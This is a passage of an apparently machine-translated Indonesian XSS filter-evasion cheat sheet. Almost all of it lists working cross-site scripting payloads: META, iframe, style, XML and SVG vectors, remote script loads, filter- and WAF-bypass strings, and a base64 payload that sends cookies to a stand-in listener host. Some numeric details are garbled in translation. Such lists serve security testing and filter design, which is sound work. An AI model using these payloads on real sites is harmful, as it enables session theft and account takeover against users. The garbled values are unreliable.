Skema URL direktif. Ini bagus karena juga tidak memiliki sesuatu yang terlihat memiliki kata SCRIPT atau arahan JavaScript di dalamnya, karena menggunakan pengkodean base64. Silakan lihat RFC 2397 untuk detail lebih lanjut atau buka di sini atau di sini untuk menyandikan Anda sendiri. Anda juga dapat menggunakan kalkulator XSS di bawah ini jika Anda hanya ingin menyandikan HTML atau JavaScript mentah karena memiliki metode penyandian Base64:

<META HTTP-EQUIV="refresh" CONTENT="0;
url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

META with Additional URL Parameter

Jika situs web target mencoba melihat apakah URL berisi <http://>; pada awalnya Anda dapat menghindarinya dengan teknik berikut (Disampaikan oleh Moritz Naumann):

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

IFRAME

Jika iframe diizinkan, ada banyak masalah XSS lainnya juga:

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME Event Based

IFrames dan sebagian besar elemen lainnya dapat menggunakan kekacauan berbasis acara seperti berikut... (Dikirim oleh: David Cross)

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

FRAME

Bingkai memiliki masalah XSS yang sama dengan iframe

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

TABLE

<TABLE BACKGROUND="javascript:alert('XSS')">

TD

Sama seperti di atas, TD rentan terhadap LATAR BELAKANG yang berisi vektor JavaScript XSS:

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

DIV

DIV Background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
DIV Background-image dengan Unicoded XSS Exploit

Ini telah dimodifikasi sedikit untuk mengaburkan parameter URL. Kerentanan asli ditemukan oleh Renaud Lifchitz sebagai kerentanan di Hotmail:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063
\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027
\0029'\0029">
Gambar Latar DIV Ditambah Karakter Ekstra

Rnaske membuat fuzzer XSS cepat untuk mendeteksi karakter yang salah yang diizinkan setelah kurung buka tetapi sebelum arahan JavaScript di IE dan Netscape 8.1 dalam mode situs aman. Ini dalam desimal tetapi Anda dapat memasukkan hex dan menambahkan padding tentu saja. (Salah satu karakter berikut dapat digunakan: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<DIV STYLE="background-image: url(javascript:alert('XSS'))">
DIV Expression

Varian dari ini efektif terhadap filter skrip lintas situs dunia nyata menggunakan baris baru antara titik dua dan "ekspresi":

<DIV STYLE="width: expression(alert('XSS'));">

Downlevel-Hidden Block

Hanya berfungsi di IE5.0 dan yang lebih baru dan Netscape 8.1 dalam mode mesin rendering IE). Beberapa situs web menganggap apa pun di dalam blok komentar aman dan karenanya tidak perlu dihapus, yang memungkinkan vektor Cross Site Scripting kami. Atau sistem dapat menambahkan tag komentar di sekitar sesuatu untuk mencoba membuatnya tidak berbahaya. Seperti yang bisa kita lihat, itu mungkin tidak akan berhasil:

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->

BASE Tag

Bekerja di IE dan Netscape 8.1 dalam mode aman. Anda memerlukan // untuk mengomentari karakter berikutnya sehingga Anda tidak akan mendapatkan kesalahan JavaScript dan tag XSS Anda akan dirender. Selain itu, ini bergantung pada fakta bahwa situs web menggunakan gambar yang ditempatkan secara dinamis seperti images/image.jpg daripada jalur lengkap. Jika jalur menyertakan garis miring terdepan seperti /images/image.jpg Anda dapat menghapus satu garis miring dari vektor ini (selama ada dua untuk memulai komentar, ini akan berhasil):

<BASE HREF="javascript:alert('XSS');//">

OBJECT Tag

Jika mereka mengizinkan objek, Anda juga dapat menyuntikkan muatan virus untuk menginfeksi pengguna, dll. dan sama dengan tag APLET). File tertaut sebenarnya adalah file HTML yang dapat berisi XSS Anda:

<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>

EMBED a Flash Movie That Contains XSS

Klik di sini untuk demo: ~~http://ha.ckers.org/xss.swf~~

<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

Jika Anda menambahkan atribut allowScriptAccess="never" dan allownetworking="internal" itu dapat mengurangi risiko ini (terima kasih kepada Jonathan Vanasco atas infonya).

EMBED SVG Which Contains XSS Vector

Contoh ini hanya berfungsi di Firefox, tetapi lebih baik daripada vektor di atas di Firefox karena tidak mengharuskan pengguna untuk mengaktifkan atau menginstal Flash. Terima kasih kepada nEUrOO untuk yang satu ini.

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

Using ActionScript Inside Flash for Obfuscation

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);

XML Data Island with CDATA Obfuscation

Serangan XSS ini hanya berfungsi di IE dan Netscape 8.1 dalam mode mesin rendering IE) - vektor ditemukan oleh Sec Consult saat mengaudit Yahoo:

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

XML yang dihosting secara lokal dengan JavaScript tertanam yang dihasilkan menggunakan pulau data XML

Ini sama seperti di atas tetapi merujuk ke file XML yang dihosting secara lokal (harus di server yang sama) yang berisi vektor skrip lintas situs Anda. Anda dapat melihat hasilnya di sini

<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

HTML+TIME in XML

Beginilah cara Gray Magic meretas Hotmail dan Yahoo!. Ini hanya berfungsi di Internet Explorer dan Netscape 8.1 dalam mode mesin rendering IE dan ingat bahwa Anda harus berada di antara tag HTML dan BODY agar ini berfungsi:

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>

Dengan asumsi Anda hanya dapat memuat beberapa karakter dan filter terhadap .js

Anda dapat mengganti nama file JavaScript Anda menjadi gambar sebagai vektor XSS:

<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>

SSI (Server Side Includes)

Ini membutuhkan SSI untuk diinstal di server untuk menggunakan vektor XSS ini. Saya mungkin tidak perlu menyebutkan ini, tetapi jika Anda dapat menjalankan perintah di server tidak diragukan lagi ada masalah yang jauh lebih serius:

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http:
//xss.rocks/xss.js></SCRIPT>'"-->

PHP

Membutuhkan PHP untuk diinstal pada server untuk menggunakan vektor XSS ini. Sekali lagi, jika Anda dapat menjalankan skrip apa pun dari jarak jauh seperti ini, mungkin ada banyak masalah yang lebih mengerikan:

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>

Perintah Tertanam IMGv

Ini berfungsi ketika halaman web tempat ini disuntikkan (seperti papan web) berada di belakang perlindungan kata sandi dan perlindungan kata sandi itu berfungsi dengan perintah lain di domain yang sama. Ini dapat digunakan untuk menghapus pengguna, menambahkan pengguna (jika pengguna yang mengunjungi halaman adalah administrator), mengirim kredensial ke tempat lain, dll... Ini adalah salah satu vektor XSS yang jarang digunakan tetapi lebih berguna:

<IMG SRC="http://www.thesiteyouareon.com
/somecommand.php?somevariables=maliciouscode">

Perintah Tertanam IMG bagian II

Ini lebih menakutkan karena sama sekali tidak ada pengidentifikasi yang membuatnya terlihat mencurigakan selain tidak dihosting di domain Anda sendiri. Vektor menggunakan 302 atau 304 (yang lain juga berfungsi) untuk mengarahkan gambar kembali ke perintah. Jadi <IMG SRC="httx://badguy.com/a.jpg"> normal sebenarnya bisa menjadi vektor serangan untuk menjalankan perintah sebagai pengguna yang melihat tautan gambar. Berikut adalah baris .htaccess (di bawah Apache) untuk menyelesaikan vektor (terima kasih kepada Timo untuk bagian ini):

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

Manipulasi Cookie

Memang ini cukup tidak jelas tetapi saya telah melihat beberapa contoh di mana <META diizinkan dan Anda dapat menggunakannya untuk menimpa cookie. Ada contoh situs lain di mana alih-alih mengambil nama pengguna dari database, itu disimpan di dalam cookie untuk ditampilkan hanya kepada pengguna yang mengunjungi halaman. Dengan gabungan dua skenario ini, Anda dapat memodifikasi cookie korban yang akan ditampilkan kembali kepada mereka sebagai JavaScript (Anda juga dapat menggunakan ini untuk mengeluarkan orang atau mengubah status pengguna mereka, membuat mereka masuk sebagai Anda, dll...):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

Pengkodean UTF-7

Jika halaman tempat XSS berada tidak menyediakan header charset halaman, atau browser apa pun yang disetel ke penyandian UTF-7 dapat dieksploitasi dengan yang berikut (Terima kasih kepada Roman Ivanov untuk yang ini). Klik di sini untuk contoh (Anda tidak memerlukan pernyataan charset jika browser pengguna disetel ke deteksi otomatis dan tidak ada tipe konten utama pada halaman di Internet Explorer dan Netscape 8.1 dalam mode mesin rendering IE). Ini tidak berfungsi di peramban modern mana pun tanpa mengubah jenis penyandian, itulah sebabnya ia ditandai sebagai sepenuhnya tidak didukung. Watchfire menemukan lubang ini di skrip 404 khusus Google:

<HEAD><META HTTP-EQUIV="CONTENT-
TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

XSS Menggunakan Enkapsulasi Kutipan HTML

Ini diuji di IE, jarak tempuh Anda mungkin berbeda. Untuk menjalankan XSS di situs yang mengizinkan <SCRIPT> tetapi tidak mengizinkan <SCRIPT SRC... melalui filter regex /\<script\[^\>\]+src/i:

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

Untuk menjalankan XSS di situs yang mengizinkan <SCRIPT> tapi jangan izinkan \<script src... melalui filter regex /\<script((\\s+\\w+(\\s\*=\\s\*(?:"( .)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src /i (ini yang penting, karena saya pernah melihat regex ini di alam liar):

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

XSS lain untuk menghindari filter yang sama, /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(. )\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i:

<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>

Namun XSS lain untuk menghindari filter yang sama, /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'( .)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i. Saya tahu saya mengatakan saya tidak akan membahas teknik mitigasi tetapi satu-satunya hal yang saya lihat berhasil untuk contoh XSS ini jika Anda masih ingin mengizinkan <SCRIPT> tag tetapi bukan skrip jarak jauh adalah mesin negara (dan tentu saja ada cara lain untuk menyiasatinya jika mereka mengizinkan tag <SCRIPT>):

<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>

Dan satu serangan XSS terakhir yang harus dihindari, /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\* ?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i menggunakan aksen serius (sekali lagi, tidak berfungsi di Firefox):

<SCRIPT a=>SRC="httx://xss.rocks/xss.js"></SCRIPT>

Berikut adalah contoh XSS yang bertaruh pada fakta bahwa regex tidak akan menangkap pasangan tanda kutip yang cocok tetapi akan menemukan tanda kutip apa pun untuk mengakhiri string parameter dengan tidak benar:

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>

XSS ini masih membuat saya khawatir, karena hampir tidak mungkin untuk menghentikan ini tanpa memblokir semua konten aktif:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>

URL String Evasion

Dengan asumsi http://www.google.com/ tidak diizinkan secara terprogram:

IP Versus Hostname
<A HREF="http://66.102.7.147/">XSS</A>
URL Encoding
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
DWORD Encoding

Catatan: ada variasi lain dari pengkodean Dword - lihat kalkulator Kebingungan IP di bawah ini untuk lebih jelasnya:

<A HREF="http://1113982867/">XSS</A>
Hex Encoding

Ukuran total dari setiap angka yang diperbolehkan berada di sekitar 240 karakter total seperti yang Anda lihat pada digit kedua, dan karena angka hex adalah antara 0 dan F, nol di depan pada kutipan hex ketiga tidak diperlukan):

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
Octal Encoding

Sekali lagi padding diperbolehkan, meskipun Anda harus mempertahankannya di atas total 4 karakter per kelas - seperti di kelas A, kelas B, dll...

<A HREF="http://0102.0146.0007.00000223/">XSS</A>
Base64 Encoding
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
Mixed Encoding

Mari kita padukan dan cocokkan pengodean dasar dan masukkan beberapa tab dan baris baru - mengapa browser mengizinkan ini, saya tidak akan pernah tahu). Tab dan baris baru hanya berfungsi jika ini dienkapsulasi dengan tanda kutip:

<A HREF="h 
tt  p://6   6.000146.0x7.147/">XSS</A>
Protocol Resolution Bypass

// diterjemahkan menjadi http:// yang menyimpan beberapa byte lagi. Ini sangat berguna ketika ruang juga menjadi masalah (dua karakter lebih sedikit bisa sangat membantu) dan dapat dengan mudah melewati regex seperti (ht|f)tp(s)?:// (terima kasih kepada Ozh untuk bagian dari yang satu ini). Anda juga dapat mengubah // menjadi \\\\. Namun, Anda perlu mempertahankan garis miring, jika tidak, ini akan ditafsirkan sebagai URL jalur relatif.

<A HREF="//www.google.com/">XSS</A>

Google "feeling lucky" part 1

Firefox menggunakan fungsi "merasa beruntung" Google untuk mengarahkan pengguna ke kata kunci apa pun yang Anda ketik. Jadi, jika halaman Anda yang dapat dieksploitasi adalah yang teratas untuk beberapa kata kunci acak (seperti yang Anda lihat di sini), Anda dapat menggunakan fitur itu terhadap pengguna Firefox mana pun. Ini menggunakan kata kunci Firefox: protokol. Anda dapat menggabungkan beberapa kata kunci dengan menggunakan sesuatu seperti kata kunci berikut: XSS+RSnake misalnya. Ini tidak lagi berfungsi dalam Firefox pada 2.0.

<A HREF="//google">XSS</A>

Google "feeling lucky" part 2

Ini menggunakan trik yang sangat kecil yang tampaknya hanya berfungsi di Firefox, karena implementasi dari fungsi "merasa beruntung". Berbeda dengan yang berikutnya, ini tidak berfungsi di Opera karena Opera percaya bahwa ini adalah serangan phishing HTTP Basic Auth yang lama, yang sebenarnya tidak. Ini hanya URL yang salah format. Jika Anda mengklik oke pada dialog itu akan berfungsi, tetapi sebagai akibat dari kotak dialog yang salah, saya mengatakan bahwa ini tidak didukung di Opera, dan tidak lagi didukung di Firefox pada 2.0:

<A HREF="http://ha.ckers.org@google">XSS</A>

Google "feeling lucky" part 3

Ini menggunakan URL cacat yang tampaknya hanya berfungsi di Firefox dan Opera, karena penerapan fungsi "merasa beruntung". Seperti semua hal di atas, Anda harus menjadi #1 di Google untuk kata kunci yang dimaksud (dalam hal ini "google"):

<A HREF="http://google:ha.ckers.org">XSS</A>

Removing CNAMEs

Bila digabungkan dengan URL di atas, menghapus www. akan menghemat 4 byte tambahan untuk penghematan total 9 byte untuk server yang memiliki pengaturan ini dengan benar):

<A HREF="http://google.com/">XSS</A>
Extra dot for absolute DNS:
<A HREF="http://www.google.com./">XSS</A>

JavaScript Link Location

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

Content Replace as Attack Vector

Dengan asumsi http://www.google.com/ secara terprogram diganti dengan apa-apa). Saya sebenarnya menggunakan vektor serangan serupa terhadap beberapa filter XSS dunia nyata yang terpisah dengan menggunakan filter konversi itu sendiri (berikut adalah contoh) untuk membantu membuat vektor serangan (IE: java&\#x09;script: diubah menjadi java script:, yang merender di IE, Netscape 8.1+ dalam mode situs aman dan Opera):

<A HREF="http://www.google.com/ogle.com/">XSS</A>

Assisting XSS with HTTP Parameter Pollution

Asumsikan aliran berbagi konten di situs web diimplementasikan seperti yang ditunjukkan di bawah ini. Ada halaman "Konten" yang mencakup beberapa konten yang disediakan oleh pengguna dan halaman ini juga menyertakan tautan ke halaman "Berbagi" yang memungkinkan pengguna memilih platform berbagi sosial favorit mereka untuk berbagi. Pengembang HTML mengkodekan parameter "judul" di halaman "Konten" untuk mencegah XSS tetapi karena beberapa alasan mereka tidak mengkodekan URL parameter ini untuk mencegah Pencemaran Parameter HTTP. Akhirnya mereka memutuskan bahwa karena nilai content_type adalah konstan dan akan selalu bilangan bulat, mereka tidak menyandikan atau memvalidasi content_type di halaman "Bagikan".

Content Page Source Code

a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>

Share Page Source Code

<script>
var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
//some user agreement and sending to server logic might be here
...
</script>

Content Page Output

Dalam hal ini jika penyerang menetapkan judul konten yang tidak dipercaya sebagai “Ini adalah judul biasa&content_type=1;alert(1)”, tautan di halaman "Konten" akan menjadi ini:

<a href="/share?content_type=1&title=This is a regular title&amp;content_type=1;alert(1)">Share</a>

Share Page Output

Dan dalam output halaman berbagi bisa jadi ini:

<script>
var contentType = 1; alert(1);
var title = "This is a regular title";
…
//some user agreement and sending to server logic might be here
…
</script>

Akibatnya, dalam contoh ini kelemahan utama adalah mempercayai content_type di halaman "Bagikan" tanpa penyandian atau validasi yang tepat. Polusi Parameter HTTP dapat meningkatkan dampak cacat XSS dengan mempromosikannya dari XSS yang direfleksikan ke XSS yang disimpan.

Character Escape Sequences

Semua kemungkinan kombinasi karakter "\<" dalam HTML dan JavaScript. Sebagian besar dari ini tidak akan ditampilkan di luar kotak, tetapi banyak dari mereka dapat dirender dalam keadaan tertentu seperti yang terlihat di atas.

  • <
  • %3C
  • &lt
  • &lt;
  • &LT
  • &LT;
  • &#60;
  • &#060;
  • &#0060;
  • &#00060;
  • &#000060;
  • &#0000060;
  • &#60;
  • &#060;
  • &#0060;
  • &#00060;
  • &#000060;
  • &#0000060;
  • &#x3c;
  • &#x03c;
  • &#x003c;
  • &#x0003c;
  • &#x00003c;
  • &#x000003c;
  • &#x3c;
  • &#x03c;
  • &#x003c;
  • &#x0003c;
  • &#x00003c;
  • &#x000003c;
  • &#X3c;
  • &#X03c;
  • &#X003c;
  • &#X0003c;
  • &#X00003c;
  • &#X000003c;
  • &#X3c;
  • &#X03c;
  • &#X003c;
  • &#X0003c;
  • &#X00003c;
  • &#X000003c;
  • &#x3C;
  • &#x03C;
  • &#x003C;
  • &#x0003C;
  • &#x00003C;
  • &#x000003C;
  • &#x3C;
  • &#x03C;
  • &#x003C;
  • &#x0003C;
  • &#x00003C;
  • &#x000003C;
  • &#X3C;
  • &#X03C;
  • &#X003C;
  • &#X0003C;
  • &#X00003C;
  • &#X000003C;
  • &#X3C;
  • &#X03C;
  • &#X003C;
  • &#X0003C;
  • &#X00003C;
  • &#X000003C;
  • \x3c
  • \x3C
  • \u003c
  • \u003C

Methods to Bypass WAF – Cross-Site Scripting

General issues

Stored XSS

Jika penyerang berhasil mendorong XSS melalui filter, WAF tidak akan dapat mencegah konduksi serangan.

Reflected XSS in JavaScript

Example: <script> ... setTimeout(\\"writetitle()\\",$\_GET\[xss\]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//

DOM-based XSS

Example: <script> ... eval($\_GET\[xss\]); ... </script>
Exploitation: /?xss=document.cookie

XSS via request Redirection

  • Vulnerable code:
...
header('Location: '.$_GET['param']);
...

Demikian juga:

..
header('Refresh: 0; URL='.$_GET['param']); 
...
  • This request will not pass through the WAF:
/?param=<javascript:alert(document.cookie>)
  • This request will pass through the WAF and an XSS attack will be conducted in certain browsers.
/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

WAF ByPass Strings for XSS

  • <Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
  • <Video> <source onerror = "javascript: alert (XSS)">
  • <Input value = "XSS" type = text>
  • <applet code="javascript:confirm(document.cookie);">
  • <isindex x="javascript:" onmouseover="alert(XSS)">
  • "></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  • "><img src="x:x" onerror="alert(XSS)">
  • "><iframe src="javascript:alert(XSS)">
  • <object data="javascript:alert(XSS)">
  • <isindex type=image src=1 onerror=alert(XSS)>
  • <img src=x:alert(alt) onerror=eval(src) alt=0>
  • <img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
  • <iframe/src="data:text/html,<svg onload=alert(1)>">
  • <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
  • <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
  • <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
  • <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
  • <form><a href="javascript:\u0061lert(1)">X
  • </script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
  • <style>//*{x:expression(alert(/xss/))}//<style></style>
  • On Mouse Over​
  • <img src="/" =_=" title="onerror='prompt(1)'">
  • <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
  • <script x> alert(1) </script 1=2
  • <form><button formaction=javascript&colon;alert(1)>CLICKME
  • <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
  • <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  • <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

Filter Bypass Alert Obfuscation

  • (alert)(1)
  • a=alert,a(1)
  • [1].find(alert)
  • top[“al”+”ert”](1)
  • top[/al/.source+/ert/.source](1)
  • al\u0065rt(1)
  • top[‘al\145rt’](1)
  • top[‘al\x65rt’](1)
  • top[8680439..toString(30)](1)
  • alert?.()
  • `${alert``}` (The payload should include leading and trailing backticks.)
  • (alert())